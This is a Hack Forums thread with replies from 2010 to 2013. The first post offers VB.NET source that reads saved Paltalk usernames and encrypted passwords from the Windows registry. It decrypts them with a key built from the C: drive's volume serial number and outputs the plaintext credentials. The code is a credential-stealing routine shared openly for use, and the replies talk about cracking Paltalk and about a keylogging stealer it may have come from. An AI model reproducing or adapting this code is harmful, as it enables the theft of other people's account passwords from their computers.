

Forum:[Hack Forums](#)

Thread: [\[SCR\] \[Vb.Net\] PaltalkScene Password Recover + Decryption](#)

pr0t0typ3 - June 8, 2010, 8:38 am

Hi

I wrote 100 % of the function myself so plz give proper credits

And here it is have fun:

Note: You need to add a reference to the System.Management dll

Code Public Function GetHDSerial() As String

```
Dim disk As New System.Management.ManagementObject( _  
    "Win32_LogicalDisk.DeviceID=""C:\"" )
```

```
Dim diskPropertyA As System.Management.PropertyData = _  
    disk.Properties("VolumeSerialNumber")
```

```
Return diskPropertyA.Value.ToString()
```

```
End Function
```

```
Public Function paltalkscene() As String
```

' All Credits to pr0t0typ3

' If you remove this message you are a fucking leecher !!!

Try

```
Dim ser() As Char = GetHDSerial().ToCharArray
```

```
Dim reg As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
```

```
Dim out As String = ""
```

```
reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Paltalk")
```

```
Dim users As String() = reg.GetSubKeyNames()
```

```
reg.Close()
```

```
For Each s As String In users
```

```
Dim t, o, i, x As Integer
```

```
Dim pass As String =
```

```
Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\Software\Paltalk\" & s, "pwd", "")
```

```
Dim chr1 As Char() = pass.ToCharArray
```

```
Dim passarr(pass.Length / 4) As String
```

```
While t <= UBound(chr1) - 4
```

```
If t < UBound(chr1) - 4 Then
```

```
passarr(o) = chr1(t) & chr1(t + 1) & chr1(t + 2)
```

```
End If
```

```
t += 4
```

```
o += 1
```

```
End While
```

```
Dim key As String = ""
```

```
For Each c As Char In s
```

```
key += c
```

```
If i <= UBound(ser) Then
```

```
key += ser(i)
```

```
End If
```

```
i = i + 1
```

```
Next
```

```
key = key & key & key
```

```
Dim chr_arr As Char() = key.ToCharArray
```

```
Dim blainpass As String = ""
```

```
blainpass += Chr(passarr(0) - 122 - Asc(key.Substring(key.Length - 1, 1)))
For x = 1 To UBound(passarr)
Dim tempchr As Char
If passarr(x) Is Nothing Then
Else
tempchr = Chr(passarr(x) - x - Asc(chr_arr(x - 1)) - 122)
blainpass += tempchr
End If
Next x
out += "Username: " & s & vbNewLine & "Password: " & blainpass & vbNewLine & vbNewLine
Next
Return out
Catch ex As Exception
Return "---"
End Try
End FunctionI know it is a bit messed up but it works
Plz give proper credits!
```

pr0t0typ3 - June 8, 2010, 10:44 am

bump !!!!

No1 needs this ? it took me 3 hours

Joler1302 - June 8, 2010, 10:47 am

Thanks, it looks really good. A new release is always good.

njq8 - June 8, 2010, 10:53 am

this will be good but not work in vista <<

i add refence to System.Management dll

i will try to recode this

thnx for share your code

pr0t0typ3 - June 8, 2010, 11:07 am

(Jun 8, 2010 10:53 AM)njn Wrote: [\[CITE\]](#) this will be good but not work in vista <<

i add refence to System.Management dll

i will try to recode this

thnx for share your code

I completly coded this for vista and there aren't any predifined paths you get everything from the registry so It works on vista

Tr0ne - May 17, 2011, 5:40 am

PrOtOtyp3 keep the good work going bro nice share

BaussHacker - May 17, 2011, 9:35 am

It looks really nice.

This was the best part of the code.

I lol'd, but it's also the truth.

Code ' All Credits to pr0t0typ3

' If you remove this message you are a fucking leecher !!!

Miklo - *February 18, 2013, 2:42 pm*

Thanks for share, +REP GIVEN

Prototype, I will def thank you for your 3 hours efforts! I am a Paltalk Entusiast and am honestly very much happy to get my hands on such an amazing Source!

Just to let you know if you needed any further support to Paltalk or About Cracking Paltalk (....) let me know!

TraptCode - *February 18, 2013, 3:48 pm*

I would normally complain about this being over 2 years old, but this brought me so much nostalgia back to my Paltalk days. Did a lot of client-side hacking with it, was pretty fun.

Miklo - *April 7, 2013, 9:39 pm*

TraptCode, True.. Seems like this has been taken from the Razpo Logger also called (Pain Logger) and changed to a simpler version! But it has been going on for a long time.. But it doesnt work anymore! A lot more has to be done in this code..

Anyways Thanks For Sharing, I was hoping that this would be fixed one day, I might fix this myself and repost it!